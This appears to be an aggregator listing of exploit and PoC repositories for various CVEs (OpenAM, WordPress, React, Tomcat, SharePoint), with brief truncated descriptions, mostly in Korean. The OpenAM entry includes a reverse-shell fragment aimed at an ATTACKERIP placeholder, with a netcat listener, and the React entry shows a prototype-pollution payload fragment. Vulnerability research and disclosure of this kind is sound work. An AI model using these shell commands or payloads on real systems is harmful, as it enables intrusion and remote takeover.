CVE-2025-29471

Stored XSS Vulnerability in Nagios Log Server Privilege Escalation to Admin ▶️ PoC Demo Date: 2025-04-02 Exploit Author: Seth Kraft Vendor Homepage: https://www.nagios.com/ Vendor Changelog: https://www.nagios.com/changelog/log-server Software Link:...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM 인증 전 RCE OpenIdentityPlatform OpenAM & /dev/tcp/ATTACKERIP/4444 0&1" Terminal 1: listener nc -lvnp 4444 Terminal 2: deliver to all JATO...

ntlmscout

/ // / / / / / / / / // / / / / / / / / / / / / / / / / // // / // / / // / // // / / /// //, // 인터넷에 노출된 NTLM을 사냥하다 BoydHacks · github.com/BoydHacks ntlmscout 인터넷에 노출된 NTLM 엔드포인트에서 정보를 한 방울까지 짜내는 단일 도구. 인증되지 않은 NTLM 협상은 자격 증명을 단 한 번도 전송하기 전에 놀랄 만큼 많은 내부 Active Directory 세부 정보를 유출합니다. ntlmscout은...

CVE-2026-33439

🐞 CVE-2026-33439: jato.clientSession 역직렬화를 통한 OpenAM 사전 인증 RCE 인간의 통찰력 + AI 지원 분석 + 리버스 엔지니어링 + 권고 → 익스플로잇 CVE-2026-33439에 대한 최초의 공개 익스플로잇 구현 ForgeRock OpenAM의 인증되지 않은 Java 역직렬화 취약점으로, 조작된 JATO 세션 객체를 통해 완전한 원격 코드 실행이 가능합니다. 같은 강물이 두 번 흐릅니다. 그들은 jato.pageSessionCVE-2021-35464을 수정하고...

Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914

Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914 Azure 네트워킹 권한 상승 익스플로잇 CVE‑2025‑54914 2025년 9월 4일 작성자: Mark Mallia 1. 개요 2025년 9월 4일, Microsoft의 Azure 네트워킹 서비스는 권한 상승 취약점CVE‑2025‑54914을 문서화한 중요한 보안 권고를 접수했습니다. 이 결함은 CVSSCommon Vulnerability Scoring System에서 10.0점을 받았으며, 사용자 상호 작용 없이...

Exploit for Improper Handling of Insufficient Permissions or Privileges in Apple Macos

🔐 CVE-2026-43786 🚨 macOS Local Privilege Escalation — Impro...

react-ssr-vulnerability

CVE-2025-55182 - React Server Components RCE POC 이 POC는 교육 및 보안 연구 목적으로만 제공됩니다. 이 취약점은 영향을 받는 패키지의 최신 버전에서 패치되었습니다. 이 도구는 소유한 시스템이나 테스트할 명시적 권한이 있는 시스템에서만 사용하십시오. 귀하에 대해 취해진 법적 조치에 대해 책임지지 않습니다. 페이로드 구성 이 익스플로잇은 JavaScript의 프로토타입 체인을 악용하는 특수하게 조작된 JSON 객체를 생성합니다: "then": "$1:proto:then", //...

CVE-2026-63030

CVE-2026-63030 + CVE-2026-60137 — WP2Shell REST 배치 라우트 혼동 + SQLi를 통한 WordPress 코어 사전 인증 RCE 개요 CVE-2026-63030CVSS 9.8과 CVE-2026-60137CVSS 9.1은 WordPress Core 에서 중요한 사전 인증 원격 코드 실행Pre-Auth RCE 체인을 구성합니다. 이 취약점은 기본 WordPress 설치 버전 6.9.0–6.9.4 및 7.0.0–7.0.1 에 영향을 미칩니다. 이 체인은 GPT-5.6 Sol UltraOpenAI가...

CVE-2025-67158

CVE-2025-67158 — Revotech I6032W-FHW Summary The Revotech I6032W-FHW IP camera firmware contains an authentication bypass vulnerability in the /cgi-bin/jvsweb.cgi endpoint. The device does not validate the user.name and user.digest fields included in JSON-based API requests, allowing...

Exploit for CVE-2026-94130

CVE-2026-94130 — YouTube Gallery for Joomla SQL Injection P...

CVE-2026-5281

CVE-2026-5281 2026/06/27：이 취약점은 공개적으로 공개되었습니다. 패치 지점은 다르지만 전체적인 접근 방식과 트리거 경로는 제 PoC와 완전히 동일합니다. Chromium 커밋 commit e00a64ead1abef9447943efede7bc26362ac3797 HEAD - 146.0.7680.71, tag: 146.0.7680.71 Author: Roger McFarlane [email protected] Date: Mon Mar 9 12:52:01 2026 -0700...

cve-2025-55182-scanner

CVE-2025-55182 / CVE-2025-66478 취약점 스캐너 React Server Components Flight 프로토콜 원격 코드 실행 탐지 도구 요약 이 스캐너는 React Server ComponentsRSC "Flight" 프로토콜의 심각한 무인증 원격 코드 실행 취약점인 CVE-2025-55182React 및 CVE-2025-66478Next.js에 잠재적으로 취약한 시스템을 식별합니다. 주요 위험 요소: CVSS 10.0 - 최대 심각도 무인증 - 로그인 불필요 원격 - 네트워크를 통해 악용 가능 기본...

bcm4360-wpa3

WPA3-SAE + 802.11w на Broadcom BCM4360 закрытый блоб wl Apple/Broadcom никогда не давали BCM4360 14e4:43a0 WPA3. Его единственный драйвер для Linux — это закрытый блоб broadcom-sta wl; brcmfmac не может им управлять. Это добавляет WPA3-SAE + полный 802.11w PMF к этому закрытому блобу — полностью ...

CVE-2024-46532

CVE 번호: CVE-2024-46532 공급업체: 上海顶想信息科技有限公司https://www.kancloud.cn/ 제품: 인터넷 의료 시스템의료 외래 OpenHIS 버전: V1.0 영향을 받는 구성 요소: https://github.com/1638824607/OpenHIS?tab=readme-ov-file OpenHIS의 SQL 인젝션 취약점 재현 취약점： OpenHIS-master/Application/His/Controller/PayController.class.php 취약점 코드： public function refu...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server 권한 상승 CVE-2023-29357 악용 CVE-2023-29357 은 다른 취약점과 결합될 경우 원격 코드 실행으로 이어질 수 있는 중요한 권한 상승 취약점입니다. 이 취약점의 CVSS 점수는 9.8 심각 입니다. 이벤트 정보 EventID : 189 이벤트 시간 : 2023년 10월 6일, 오후 8시 5분 규칙 : SOC227 - Microsoft SharePoint Server 권한 상승 - 가능한 CVE-2023-29357 악용 수준 : 보안 분석가...

Exploit for Interpretation Conflict in Wordpress

LANGZ — wp2shell Exploit Tool Author: LANGZ CVE: CV...

CVE-2026-77203

The Groups – Memberships and Access Control plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.6.0. This is due to the groupsjoin function deriving group-join eligibility from the ambient post's author capabilities via the global $post-postauthor...

Aether

Aether An AI-driven OSINT analyst that lives on your desktop. Give her a name, an email, a username, a domain, or a photo. She opens a case, runs the target across the open web, reads the metadata, maps the infrastructure, and draws everything she finds into a knowledge graph that grows while you...

PoC_CVE-2020-9484

이 저장소에는 CVE-2020-9484에 대한 개념 증명 익스플로잇과, 이 취약점에 노출된 예제 웹 서버가 포함되어 있습니다. 이 취약점이 악용 가능하기 위한 전제 조건 영향을 받는 Tomcat 버전은 다음과 같습니다: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104 1. PersistentManager가 활성화되어 있고 FileStore를 사용하고 있습니다. 2. 공격자는 임의의 내용을 ...

CVE-2026-77203 Groups <= 4.6.0 - Authenticated (Subscriber+) Privilege Escalation via 'groups_join' Shortcode

The Groups – Memberships and Access Control plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.6.0. This is due to the groupsjoin function deriving group-join eligibility from the ambient post's author capabilities via the global $post-postauthor...